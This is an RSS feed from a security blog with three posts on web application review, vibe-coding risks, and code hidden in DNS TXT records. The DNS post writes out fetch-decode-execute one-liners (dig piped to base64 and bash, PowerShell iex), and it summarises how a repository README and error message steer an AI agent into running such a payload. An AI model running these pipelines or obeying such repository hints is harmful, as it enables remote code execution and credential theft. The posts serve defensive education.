<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>AI Archives - DIGITAL SELF-DEFENSE</title>
	<atom:link href="https://www.digitalnisebeobrana.cz/en/category/promptpunk/ai/feed/" rel="self" type="application/rss+xml" />
	<link>https://www.digitalnisebeobrana.cz/en/category/promptpunk/ai/</link>
	<description></description>
	<lastBuildDate>Sat, 25 Jul 2026 12:28:23 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=7.1.1</generator>

<image>
	<url>https://www.digitalnisebeobrana.cz/wp-content/uploads/2018/12/cropped-mr.black_-32x32.png</url>
	<title>AI Archives - DIGITAL SELF-DEFENSE</title>
	<link>https://www.digitalnisebeobrana.cz/en/category/promptpunk/ai/</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>The Application Works. Is That Enough?</title>
		<link>https://www.digitalnisebeobrana.cz/en/the-application-works-is-that-enough/</link>
		
		<dc:creator><![CDATA[Milan]]></dc:creator>
		<pubDate>Sat, 25 Jul 2026 12:17:24 +0000</pubDate>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[AI]]></category>
		<category><![CDATA[nástroje]]></category>
		<category><![CDATA[Promptpunk]]></category>
		<category><![CDATA[sysadmin]]></category>
		<category><![CDATA[nástroj]]></category>
		<category><![CDATA[pentest]]></category>
		<category><![CDATA[prevence]]></category>
		<category><![CDATA[test]]></category>
		<category><![CDATA[vibe-coding]]></category>
		<category><![CDATA[zranitelnost]]></category>
		<guid isPermaLink="false">https://www.digitalnisebeobrana.cz/?p=7125</guid>

					<description><![CDATA[<p>A successful handover does not mean a web application correctly protects accounts, roles and data. When is a security review enough, and when do you need a penetration test?</p>
<p>The post <a href="https://www.digitalnisebeobrana.cz/en/the-application-works-is-that-enough/">The Application Works. Is That Enough?</a> appeared first on <a href="https://www.digitalnisebeobrana.cz/en">DIGITAL SELF-DEFENSE</a>.</p>
]]></description>
										<content:encoded><![CDATA[<h2>One number</h2>
<p>A customer logs in to a new portal and opens their invoice.</p>
<p>They notice the document number in the page address and try changing it.</p>
<p>The application displays another customer’s invoice.</p>
<p>They did not crack a password. They did not bypass the login. They did not use any special tool.</p>
<p>They changed one number.</p>
<p>The login still works. Invoices load correctly. The application passed its standard tests.</p>
<p>The application verified that the user was logged in. It did not verify whether that user was allowed to view this particular document.</p>
<p>The feature worked.</p>
<p>Just not securely.</p>
<h2>It passed acceptance testing</h2>
<p>During application handover, the expected workflow is usually tested.</p>
<p>A user logs in, completes a form, submits an order or downloads a document. An administrator updates a record. The data is saved and the necessary information is passed to the next system or person.</p>
<p>This type of testing answers an important question:</p>
<blockquote>
<p>Does the application do what we ordered?</p>
</blockquote>
<p>It does not automatically answer another one:</p>
<blockquote>
<p>What does the application allow when someone uses it differently from the expected workflow?</p>
</blockquote>
<p>Can a regular user open someone else’s document? Can they access a function intended for an administrator? Can they see information that does not belong to them? Can they skip part of the process?</p>
<p>A security issue does not have to cause the application to crash or display an error.</p>
<p>Quite the opposite. The application may process the request without any problem.</p>
<p>Just for the wrong user or with someone else’s data.</p>
<blockquote>
<p><strong>Are you accepting or launching a web application?</strong></p>
<p>Send a brief description of the application, its user types and the planned handover date. I will tell you whether it fits the <a href="https://www.digitalnisebeobrana.cz/en/bezpecnostni-kontrola-webove-aplikace/">Web Application Security Review</a> or needs a <a href="https://www.digitalnisebeobrana.cz/en/penetracni-test-na-miru/">Custom Penetration Test</a>.</p>
<p><a href="https://www.digitalnisebeobrana.cz/en/kontakt/"><strong>Send a brief description of the application</strong></a></p>
</blockquote>
<h2>When development speeds up</h2>
<p>AI tools can significantly speed up web application development.</p>
<p>They can help create login flows, administration interfaces, forms, file uploads, exports and integrations with other systems. A working version can appear very quickly.</p>
<p>That is not a problem by itself.</p>
<p>The problem starts when development speed is mistaken for verification of the result.</p>
<p>Every new feature introduces decisions the application must make correctly:</p>
<ul>
<li>Who is allowed to open this page?</li>
<li>Who owns this document?</li>
<li>Who is allowed to modify the record?</li>
<li>What can a regular user do, and what is restricted to an administrator?</li>
<li>Which data is the application allowed to display?</li>
</ul>
<p>AI can create the feature. Someone still needs to verify who can use it and what it allows them to access.</p>
<p>The same applies to conventional development. With applications built or significantly accelerated using AI, however, it is easy to skip the security review because the working result looks finished very early.</p>
<h2>A different perspective</h2>
<p>A security finding does not automatically mean the vendor or developer did a poor job.</p>
<p>The development team must deliver the agreed features, connect the individual components, fix bugs and ensure that the application works as a whole.</p>
<p>Security should be part of good development. An independent review still serves a different purpose.</p>
<p>A developer may ask:</p>
<blockquote>
<p>Can the customer view their invoice?</p>
</blockquote>
<p>A security review adds a second question:</p>
<blockquote>
<p>Can they also view someone else’s invoice?</p>
</blockquote>
<p>It does not test only the expected workflow. It also checks modified identifiers, bypassed roles, access to other users’ data and other situations that may not be covered by standard acceptance testing.</p>
<p>Development testing and an independent security review are not competing activities.</p>
<p>They answer different questions.</p>
<h2>While there is still time</h2>
<p>The best time for an independent review is before final acceptance, launch or final payment for the project.</p>
<p>The vendor still has the application in context. The development team is available. Documentation and the test environment are close at hand.</p>
<p>Problems can be addressed while the cooperation is still active, rather than after customers are already using the application and the original team has moved on to another project.</p>
<p>The company also receives a practical basis for deciding:</p>
<ul>
<li>what needs to be fixed before launch;</li>
<li>which issues have the greatest practical impact;</li>
<li>what can be addressed later;</li>
<li>whether a limited security review is enough;</li>
<li>or whether the project needs a broader penetration test.</li>
</ul>
<p>A review can also be useful for an application that is already running. Handover is nevertheless a natural point at which the company accepts responsibility for the system, its users and its data.</p>
<p>It is better to know what you are actually accepting.</p>
<h2>Not a stamp of approval</h2>
<p>The purpose of a security review is not to certify that an application is secure once and for all.</p>
<p>No honest test can provide such a guarantee. Every assessment takes place at a particular time and within a predefined scope.</p>
<p>The result should not be an unexplained automated list of technical abbreviations either.</p>
<p>The client needs to know:</p>
<ul>
<li>what was found;</li>
<li>what practical impact the issue may have;</li>
<li>how serious it is;</li>
<li>how the developer can verify it;</li>
<li>what should be fixed first.</li>
</ul>
<p>The deliverable should be a prioritised report with specific remediation recommendations.</p>
<p>Not a general warning. A practical basis for remediation and further decisions.</p>
<h2>Security review or penetration test?</h2>
<p>For one smaller web application, a <a href="https://www.digitalnisebeobrana.cz/en/bezpecnostni-kontrola-webove-aplikace/"><strong>Web Application Security Review</strong></a> may be the appropriate option.</p>
<p>It has a predefined scope and focuses on the most important parts of the application: login, user roles, permissions, main workflows, handling of non-public data, forms, file uploads and APIs.</p>
<p>The deliverable includes a prioritised report, remediation recommendations and a final consultation.</p>
<p>The price is <strong>CZK 35,000 for a predefined scope</strong>.</p>
<p>For a larger or more sensitive application, a <a href="https://www.digitalnisebeobrana.cz/en/penetracni-test-na-miru/"><strong>Custom Penetration Test</strong></a> is usually a better fit. This typically includes systems with more user roles, multiple environments, a larger API, more integrations or specific risk scenarios.</p>
<p>A custom penetration test also has a clearly agreed scope. It is defined individually according to the application, the objective of the test and the required depth.</p>
<p>The price is determined after a short scoping process.</p>
<h2>Before you sign off</h2>
<p>A successful handover confirms that the application does what was ordered.</p>
<p>It does not automatically confirm who can use its features to access particular accounts, documents and data.</p>
<p>AI can significantly accelerate development. It cannot replace an independent review of the result.</p>
<p>Before final acceptance, it therefore makes sense to ask one more question:</p>
<blockquote>
<p>Has anyone tried using the application differently from the documented workflow?</p>
</blockquote>
<p>Send a brief description of the application, its user types, environments and planned handover date.</p>
<p>Based on the scope, I will recommend either a <a href="https://www.digitalnisebeobrana.cz/en/bezpecnostni-kontrola-webove-aplikace/">Web Application Security Review</a> or a <a href="https://www.digitalnisebeobrana.cz/en/penetracni-test-na-miru/">Custom Penetration Test</a>. If neither option is appropriate for the project, I will tell you.</p>
<p><a href="https://www.digitalnisebeobrana.cz/en/kontakt/"><strong>Send a brief description of the application</strong></a></p>
<p>The post <a href="https://www.digitalnisebeobrana.cz/en/the-application-works-is-that-enough/">The Application Works. Is That Enough?</a> appeared first on <a href="https://www.digitalnisebeobrana.cz/en">DIGITAL SELF-DEFENSE</a>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Code Hidden in DNS: When an AI Agent Opens the Door</title>
		<link>https://www.digitalnisebeobrana.cz/en/code-hidden-in-dns-when-an-ai-agent-opens-the-door/</link>
		
		<dc:creator><![CDATA[Milan]]></dc:creator>
		<pubDate>Thu, 02 Jul 2026 10:33:23 +0000</pubDate>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[AI]]></category>
		<category><![CDATA[hacky]]></category>
		<category><![CDATA[nástroje]]></category>
		<category><![CDATA[Promptpunk]]></category>
		<category><![CDATA[Techniky hackerů]]></category>
		<category><![CDATA[agent]]></category>
		<category><![CDATA[hackeři]]></category>
		<category><![CDATA[vibe-coding]]></category>
		<guid isPermaLink="false">https://www.digitalnisebeobrana.cz/?p=5102</guid>

					<description><![CDATA[<p>Code does not have to be hidden directly in a repository. It can be loaded at runtime from something as ordinary as a DNS TXT record. This demo uses a harmless payload to show why that becomes risky when helpful AI agents automatically run setup commands.</p>
<p>The post <a href="https://www.digitalnisebeobrana.cz/en/code-hidden-in-dns-when-an-ai-agent-opens-the-door/">Code Hidden in DNS: When an AI Agent Opens the Door</a> appeared first on <a href="https://www.digitalnisebeobrana.cz/en">DIGITAL SELF-DEFENSE</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>Injecting malicious instructions into AI agents is a fairly new discipline. But many of the techniques used for it are not new at all.</p>
<p>One of them is hiding code in DNS records. More specifically, in TXT records, which are meant for storing text data. TXT records are commonly used to prove that you control a domain, or to configure SPF, DKIM and DMARC for email. Technically, though, they can contain almost any text.</p>
<p>And if a DNS record can contain ordinary text, it can also contain a command.</p>
<p>For example, a command that gets executed in a shell after being loaded. In a harmless demo, it can print a message, create a file or display ASCII art. In a malicious version, it can open remote access to your machine.</p>
<p>The important detail is this: the malicious code does not have to be stored in the repository at all. A static code scanner, a commit review or a quick human review may not see it, because the repository only contains a script that “loads configuration from DNS”. The actual payload appears only when the DNS record is read and its content is executed.</p>
<h2>Demo</h2>
<p>You can try this technique without using any malicious payload.</p>
<p>The following example does not download anything, does not connect anywhere and only creates a file called <code>ds.txt</code> with a simple ASCII cat:</p>
<pre><code> /_/
( o.o )
 &gt; ^ &lt;
DNS TXT says meow.</code></pre>
<p>The point is not what the script does. The point is that the code is not stored in a file on disk, but in a DNS TXT record.</p>
<h2>Linux and macOS</h2>
<p>For Linux and macOS, the DNS TXT record can look like this:</p>
<pre><code>txt-demo-sh.digitalnisebeobrana.cz TXT "Y2F0ID4gZHMudHh0IDw8J0VPRicKIC9cXy9cCiggby5vICkKID4gXiA8CkROUyBUWFQgc2F5cyBtZW93LgpFT0YKY2F0IGRzLnR4dAo="</code></pre>
<h3>1. Show the script</h3>
<p>This command reads the DNS TXT record, decodes it and prints the script:</p>
<pre><code>dig +short TXT txt-demo-sh.digitalnisebeobrana.cz | tr -d '"' | base64 -d</code></pre>
<p>Output:</p>
<pre><code>cat &gt; ds.txt &lt;&lt;'EOF'
 /_/
( o.o )
 &gt; ^ &lt;
DNS TXT says meow.
EOF
cat ds.txt</code></pre>
<h3>2. Run the demo</h3>
<p>This command does the same thing, but passes the decoded content directly to <code>bash</code>:</p>
<pre><code>dig +short TXT txt-demo-sh.digitalnisebeobrana.cz | tr -d '"' | base64 -d | bash</code></pre>
<p>Result: a file called <code>ds.txt</code> is created in the current directory and its content is printed to the terminal.</p>
<p>The mechanism is simple:</p>
<pre><code>DNS TXT → Base64 → decoding → bash</code></pre>
<p>In this demo, it only saves a harmless cat. The same principle could also write an SSH key, download another script, exfiltrate tokens or open a reverse shell.</p>
<p>The problem is not DNS itself. The problem is mainly this part:</p>
<pre><code>... | bash</code></pre>
<p>It says: “Take text that came from the outside and run it as a program.”</p>
<h2>Windows / PowerShell</h2>
<p>On Windows, you can do something similar with PowerShell. The TXT record can contain a Base64-encoded PowerShell script:</p>
<pre><code>txt-demo-ps.digitalnisebeobrana.cz TXT "JGFydCA9IEAnCiAvXF8vXAooIG8ubyApCiA+IF4gPApETlMgVFhUIHNheXMgbWVvdy4KJ0AKU2V0LUNvbnRlbnQgLVBhdGggLlxkcy50eHQgLVZhbHVlICRhcnQgLUVuY29kaW5nIFVURjgKR2V0LUNvbnRlbnQgLlxkcy50eHQK"</code></pre>
<h3>1. Show the script</h3>
<p>This command reads the DNS TXT record, decodes it and prints the PowerShell script:</p>
<pre><code>$s = ((Resolve-DnsName -Type TXT txt-demo-ps.digitalnisebeobrana.cz).Strings -join '')
[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($s))</code></pre>
<p>Output:</p>
<pre><code>$art = @'
 /_/
( o.o )
 &gt; ^ &lt;
DNS TXT says meow.
'@
Set-Content -Path .ds.txt -Value $art -Encoding UTF8
Get-Content .ds.txt</code></pre>
<h3>2. Run the demo</h3>
<p>This command does the same thing, but executes the decoded content directly:</p>
<pre><code>$s = ((Resolve-DnsName -Type TXT txt-demo-ps.digitalnisebeobrana.cz).Strings -join '')
iex ([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($s)))</code></pre>
<p>Result: a file called <code>ds.txt</code> is created in the current directory and its content is printed to the terminal.</p>
<p><code>iex</code> is short for <code>Invoke-Expression</code>. In other words: it takes text and runs it as PowerShell code.</p>
<p>The mechanism is the same as with the shell:</p>
<pre><code>DNS TXT → Base64 → decoding → PowerShell</code></pre>
<p>A DNS TXT record does not look dangerous by itself. Base64 is not malware by itself. PowerShell is a normal administration tool. The risk appears when all of them are chained together and external content is executed automatically.</p>
<h2>What 0DIN Showed</h2>
<p>Researchers from Mozilla 0DIN described an attack in which an AI agent was given a seemingly simple task: set up a downloaded repository.</p>
<p>The repository did not need to contain obvious malware. The README offered a normal-looking first-time setup:</p>
<pre><code>pip3 install -r requirements.txt
python3 -m axiom init</code></pre>
<p>At first glance, these are just two ordinary commands: install dependencies and initialize the project.</p>
<p>The original write-up describes the attack as having three parts. That does not mean the user or the AI agent has to manually run three separate commands. It is better understood as three connected layers:</p>
<ol>
<li>a repository that looks trustworthy,</li>
<li>an initialization routine that looks like a normal part of the setup,</li>
<li>a setup script that loads the actual payload from a DNS TXT record and executes it.</li>
</ol>
<p>The command:</p>
<pre><code>python3 -m axiom init</code></pre>
<p>runs another setup script internally. That script queries DNS, reads a TXT record, decodes its content and passes it to the shell.</p>
<p>An error message such as:</p>
<pre><code>Axiom not initialised. Run: python3 -m axiom init</code></pre>
<p>acts more like a fallback. If the agent ignores the README and tries to use the package without initialization, the package tells it to run the same command again as a normal fix.</p>
<p>So there are two paths to the same result.</p>
<p>The agent can follow the README:</p>
<pre><code>pip install → init → DNS TXT → payload execution</code></pre>
<p>Or it can skip the README, hit an error and then “fix” it:</p>
<pre><code>pip install → error → suggested init → DNS TXT → payload execution</code></pre>
<p>In both cases, the goal is the same: get the agent to run an initialization command that looks normal, but actually opens the path to an external payload.</p>
<p>That is the uncomfortable part. Each individual step can look harmless. The problem appears when they are chained together.</p>
<h2>Why This Matters for AI Agents</h2>
<p>A human may at least pause when seeing a command like:</p>
<pre><code>dig ... | base64 -d | bash</code></pre>
<p>and ask: wait, why am I running something from DNS?</p>
<p>AI agents often work differently. They are given a goal, such as “get this project running”, and then they try to solve whatever blocks them. If something fails, they read the README, an error message, an issue or a terminal hint, and try to continue.</p>
<p>That is exactly their strength. And also their weakness.</p>
<p>The agent does not have to be “hacked” in a dramatic sense. It only has to be helpful enough. It runs the suggested command because it fits the task. And if it has access to a shell, the network and your working directory, the damage can be very practical:</p>
<ul>
<li>leaking API tokens,</li>
<li>leaking SSH keys,</li>
<li>accessing private repositories,</li>
<li>reading configuration files,</li>
<li>accessing cloud credentials,</li>
<li>running additional code,</li>
<li>opening a reverse shell.</li>
</ul>
<p>In other words: this is not only “AI security”. It is classic developer workstation security, accelerated and amplified by an AI agent.</p>
<h2>Will Antivirus or a Firewall Stop It?</h2>
<p>I would not rely on that.</p>
<p>A normal repository scan may not find anything suspicious, because the real payload is not in the repository. It is in DNS.</p>
<p>Antivirus may also miss it if it only sees normal tools: Python, shell, <code>dig</code>, PowerShell, a DNS query. And firewalls often allow DNS traffic, because ordinary internet use breaks very quickly without DNS.</p>
<p>That does not mean defense is impossible. Good EDR, process monitoring, blocking suspicious child processes, limiting outbound traffic or detecting suspicious chains such as <code>base64 | bash</code> and <code>Invoke-Expression</code> can help.</p>
<p>It is just not a good idea to rely on them as the only protection.</p>
<h2>How to Defend Against It</h2>
<p>The basic rule is simple: an unknown repository is unknown code. And that is still true when an AI agent opens it for you.</p>
<p>In practice, that means:</p>
<ul>
<li>Do not blindly run setup scripts from unknown projects.</li>
<li>Do not treat an AI agent’s recommendation as a security review.</li>
<li>Be careful with constructs such as <code>curl | bash</code>, <code>wget | bash</code>, <code>dig | bash</code>, <code>base64 -d | bash</code>, <code>bash -c "$something"</code> or PowerShell <code>Invoke-Expression</code>.</li>
<li>Check not only the command being executed, but also what it loads at runtime.</li>
<li>Run unknown projects in isolation: a container, VM, throwaway user, devcontainer or sandbox.</li>
<li>Do not give AI agents unnecessarily broad permissions.</li>
<li>Do not keep production tokens, SSH keys, cloud credentials or other long-lived secrets available in the environment.</li>
<li>Limit outbound traffic from development environments where it makes sense.</li>
<li>Disable or heavily restrict automatic approval of shell commands in AI coding agents.</li>
<li>Treat README files, error messages, issues and documentation in unknown repositories as untrusted input, not as authoritative instructions.</li>
</ul>
<p>A good control question is:</p>
<blockquote>
<p>Can I actually see all the code that will run?</p>
</blockquote>
<p>If a command downloads something, reads from DNS, builds code from variables, decodes Base64 or pipes data into a shell, the answer is often: no, I cannot.</p>
<p>At that point, it is no longer “just setup”.</p>
<p>It is remote code execution with the privileges of a user who often has far more sensitive things on their machine than they realize.</p>
<h2>Summary</h2>
<p>DNS TXT records are not dangerous by themselves. Base64 is not dangerous by itself. AI agents are not dangerous by themselves either.</p>
<p>The problem appears when these things are combined:</p>
<pre><code>trustworthy-looking project
+ helpful AI agent
+ shell with too much access
+ externally loaded payload
= problem</code></pre>
<p>So it is worth repeating an old rule in a new form:</p>
<blockquote>
<p>Do not copy random commands from the internet into your terminal.<br />
  And do not let your AI agent do it either.</p>
</blockquote>
<h2>Sources</h2>
<ul>
<li><a href="https://0din.ai/blog/clone-this-repo-and-i-own-your-machine">Mozilla 0DIN: Clone This Repo and I Own Your Machine</a></li>
<li><a href="https://datatracker.ietf.org/doc/html/rfc1464">RFC 1464: Using the Domain Name System To Store Arbitrary String Attributes</a></li>
<li><a href="https://www.ietf.org/rfc/rfc1035.txt">RFC 1035: Domain Names &#8211; Implementation and Specification</a></li>
<li><a href="https://learn.microsoft.com/en-us/powershell/module/dnsclient/resolve-dnsname">Microsoft Learn: Resolve-DnsName</a></li>
<li><a href="https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_powershell_exe">Microsoft Learn: about_PowerShell_exe</a></li>
</ul>
<p>The post <a href="https://www.digitalnisebeobrana.cz/en/code-hidden-in-dns-when-an-ai-agent-opens-the-door/">Code Hidden in DNS: When an AI Agent Opens the Door</a> appeared first on <a href="https://www.digitalnisebeobrana.cz/en">DIGITAL SELF-DEFENSE</a>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Promptpunk I. &#8211; Don&#8217;t vibe. Verify.</title>
		<link>https://www.digitalnisebeobrana.cz/en/promptpunk-i-dont-vibe-verify/</link>
		
		<dc:creator><![CDATA[Milan]]></dc:creator>
		<pubDate>Tue, 09 Jun 2026 15:01:30 +0000</pubDate>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[AI]]></category>
		<category><![CDATA[Promptpunk]]></category>
		<category><![CDATA[Techniky hackerů]]></category>
		<category><![CDATA[vibe-coding]]></category>
		<category><![CDATA[webapp]]></category>
		<guid isPermaLink="false">https://www.digitalnisebeobrana.cz/?p=2259</guid>

					<description><![CDATA[<p>When AI generates code that allows attackers to get hold of our users' data, the reputational problem is ours, not the AI agent's. It is hard to respond to a data leak by pointing at an AI agent and saying, "It was his fault!"</p>
<p>The post <a href="https://www.digitalnisebeobrana.cz/en/promptpunk-i-dont-vibe-verify/">Promptpunk I. &#8211; Don&#8217;t vibe. Verify.</a> appeared first on <a href="https://www.digitalnisebeobrana.cz/en">DIGITAL SELF-DEFENSE</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p><img fetchpriority="high" decoding="async" class="size-vp_sm wp-image-2302 alignnone" src="/wp-content/uploads/2026/06/AIstealJobs-500x333.png" alt="" width="500" height="333" /></p>
<blockquote><p>AI is taking control of our development, security, and data!<br />
And it is taking programmers&#8217; jobs.</p></blockquote>
<p>AI has not taken anything from us. It cannot. It does not have that power. But even if it did, it would not have to. We handed over control of development, security, and data ourselves. Because it is convenient, fast, and often works surprisingly well.</p>
<p>The problem is not when the code does not work. We notice that immediately, and we can fix it. The problem is when the code somehow works, but behind the scenes it does something we would not like it to do. In security, the fact that something somehow works is not enough.<br />
We should know how it works, and when something changes, what changed and where.</p>
<h2>A new actor</h2>
<p>We often talk about AI as a tool. Similar to a text editor, a search engine, or &#8220;autocomplete&#8221;.<br />
But AI is not just an ordinary tool.<br />
AI:</p>
<ul>
<li>reads the assignment</li>
<li>interprets the intent</li>
<li>suggests architecture</li>
<li>writes code</li>
<li>modifies configuration</li>
<li>recommends libraries</li>
<li>explains errors</li>
<li><strong>and often even runs commands</strong></li>
</ul>
<p>So in the security model, this is no longer a passive hammer. It is another actor taking part in decisions &#8211; the threat model has expanded.<br />
When I hold a hammer in my hand as a tool, I decide how hard to hit, what to hit, and whether to hit anything at all.</p>
<p>AI is a hammer that makes all those decisions itself, based only on our instructions (prompts). And we have to remember that we are still the ones carrying the responsibility.<br />
I can give the hammer a task: <code>"Hammer in the nails!"</code>.<br />
The AI hammer &#8220;sees&#8221; a nail. It evaluates: <code>"Hm, a nail, I will hammer it in. And it is a big one, so I will use more force."</code>.<br />
And then you watch the AI hammer smashing into a hook in the wall. A hook in a plasterboard wall. A hook with your car keys hanging on it.</p>
<h2>AI made a mistake. We have a problem.</h2>
<p>We delegated not only development to AI, but also control. And quite often, only the illusion of control. In chat, AI tells us that everything is secure. But is it really?<br />
When AI generates code that allows attackers to get hold of our users&#8217; data, the reputational problem is ours, not the AI agent&#8217;s. It is hard to respond to a data leak by pointing at an AI agent and saying, &#8220;It was his fault!&#8221;<br />
Our now very possibly former customer usually does not care how the application was created. You offer it, you may even charge money for it, so it is your responsibility to make sure user data stays where it belongs.</p>
<h3>The journey is no longer the destination</h3>
<p>Vibe coding has made it possible to create applications even for people who have never programmed before. The problem is not that someone does not know the exact syntax of a particular programming language. That is only a small part of programming.<br />
Other important parts of development include algorithmic thinking, connecting individual components, handling memory, working with data, and more. Before vibe coding tools arrived, people often &#8220;programmed&#8221; by copying pieces of code from sites like StackOverflow. It was not ideal, but the author at least had some idea how, for example, application login worked, because they knew they had to create (or copy) code for running a database, a login form on the web, and also server-side code that compared the data from the form, or stored it in the database. So the author of the application may not have remembered the exact command for storing a password in the database, but at least they knew what path the password took into the database, and whether it was stored safely. Today? We enter: &#8220;Create login for my application.&#8221; Enter. And moments later, we have login.</p>
<h2>New feature &#8211; new door</h2>
<p>So we have login. But is the password stored securely in the database, or is it readable in plain text? What happens if I put something unexpected into the login form, for example a piece of code? Will I be able to read all the data from your database? Or change some parameter and log in as another user without knowing their password?</p>
<p>Maybe we pay extra attention to login, because we somehow sense that handling credentials is a critical part of the application.</p>
<h3>But what about other features that look harmless at first glance?</h3>
<p>&#8220;Add file upload.&#8221; Sounds like a normal feature. But suddenly you have to deal with:</p>
<ul>
<li>Who can see the file?</li>
<li>Where is it stored?</li>
<li>Can it be downloaded without logging in?</li>
<li>Can someone upload something unexpected?</li>
<li>Does the file remain there after the account is deleted?</li>
</ul>
<p>Upload is not just &#8220;save file&#8221;. It is a new warehouse for other people&#8217;s data.</p>
<p>&#8220;Add link sharing.&#8221;</p>
<p>Sounds like a simple, convenient feature.</p>
<ul>
<li>Who can open the link?</li>
<li>Can the link be guessed?</li>
<li>Can it be revoked later?</li>
<li>Does it show more data than it should?</li>
<li>Can some crawler index it somewhere?</li>
</ul>
<p>A sharing link is basically a second login. Just without a password.</p>
<p>Another one?</p>
<p>&#8220;Add export to PDF.&#8221;</p>
<ul>
<li>Sounds harmless, because the user is only downloading their own data.</li>
<li>What exactly ends up inside the PDF?</li>
<li>Are there metadata?</li>
<li>Is the PDF temporarily stored somewhere?</li>
<li>Can someone download another person&#8217;s export?</li>
<li>Do exports remain on the server?</li>
</ul>
<p>Export often creates a second copy of the data. And that second copy may no longer have the same protection as the original.</p>
<p>You could probably come up with examples like this for most features in your application. And are you sure your AI is thinking about them?</p>
<p><strong>Or will it simply build the new feature quickly and easily, just to make you happy?</strong></p>
<h2>AI does not invent new bugs. It produces old ones faster.</h2>
<p>With vibe coding, we are usually not dealing with completely new types of bugs. These are things we have known for a long time: a user sees someone else&#8217;s data, a file is accessible without authentication, sensitive data ends up readable in the database, the application forgets to check who has access to what, or a library nobody understands gets added to the project.<br />
What is new is mainly the speed. In the past, a person would write such a bug manually in one part of the application. Today, AI can add login, upload, export, sharing, and an API within minutes &#8211; and the same type of bug can appear in several places at once.</p>
<p><em><strong>AI is not a new kind of bug. AI is an accelerator for old bugs.</strong></em></p>
<h2>An almost real-life fuck-up</h2>
<p>I am not a programmer. I have programmed a few small things in my life, but I have never done it seriously over the long term. And it showed. My creations &#8220;somehow&#8221; worked, but mostly for my own personal use. I probably could not charge money for them.</p>
<p>With the arrival of AI tools, I decided to &#8220;rewrite&#8221; one of my older projects into something generally usable. And because that meant handling user data, I wanted it to be designed so that not even I, as the server operator, would be able to read users&#8217; data.</p>
<p>So one of the basic requirements was not just &#8220;put some encryption in there somehow&#8221;. It was a specific requirement for end-to-end encryption. Because it is not only that I am not interested in users&#8217; data. I do not want to have it in readable form even in case the server is breached, which is a risk carried by everyone who handles user data, whether it is a small one-person project or a large international corporation. It can happen. And it does happen.</p>
<p>Development went quite well. AI was coding like crazy, and everything more or less worked as expected.</p>
<p>Later, I added export to an internet calendar. A practical feature, a fairly normal requirement. AI implemented the feature. It worked.</p>
<p>After some time, I wanted to know whether everything in the database was really encrypted. The application data was encrypted. But next to that data, there was a table with data for the internet calendar export. In readable form. The same data that was &#8220;next to it&#8221; safely encrypted.</p>
<p>Calendar export cannot really be end-to-end encrypted. My requirement, because of my own lack of knowledge, went against one of the basic rules.</p>
<p>AI implemented the feature and completed the task. But it somehow forgot to tell me that by doing so, it had violated one of the basic rules.</p>
<p>It is like putting a high-quality lock on the door, and then, for convenience, building a second door next to it without a lock. The first lock still exists. It just no longer protects the entire path.<br />
The encryption was not broken. It was bypassed. Not by a hacker. By the developer.</p>
<p>My advantage is that I deal with security. So not only do I know how to check it, but more importantly, I know what I should check. And that I should check it at all. So I was able to deal with it and disabled automatic calendar export.</p>
<p>But if I had not done that, I would be promising my customers something that was not true. And sooner or later, someone would probably notice. And I would really rather avoid that <img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f642.png" alt="🙂" class="wp-smiley" style="height: 1em; max-height: 1em;" /></p>
<h2>Don&#8217;t vibe. Verify.</h2>
<p>I do not want to say we should not vibe code. I do it too. AI is great for quick prototypes, refactoring, looking for solutions, generating parts of code, or explaining problems. The problem is not vibe coding. The problem is when only the vibe remains &#8211; when I accept the result because it looks good, but I do not verify what has changed.</p>
<p>In crypto, we know the phrase &#8220;Don&#8217;t trust, verify.&#8221; It does not mean &#8220;never trust anyone, never use anything.&#8221; It means: trust is not control.</p>
<p>And exactly the same applies to AI. Don&#8217;t vibe. Verify does not mean &#8220;do not use AI&#8221;. It means: do not accept the result just because it feels right. Verify the promises, the data, the permissions, and the new doors you have just created.</p>
<p> </p>
<blockquote><p>Everyone knows that debugging is twice as hard as writing a program in the first place. So if you&#8217;re as clever as you can be when you write it, how will you ever debug it?</p>
<p>* Brian Kernighan, The Elements of Programming Style, 2nd edition, chapter 2</p></blockquote>
<p>The post <a href="https://www.digitalnisebeobrana.cz/en/promptpunk-i-dont-vibe-verify/">Promptpunk I. &#8211; Don&#8217;t vibe. Verify.</a> appeared first on <a href="https://www.digitalnisebeobrana.cz/en">DIGITAL SELF-DEFENSE</a>.</p>
]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>
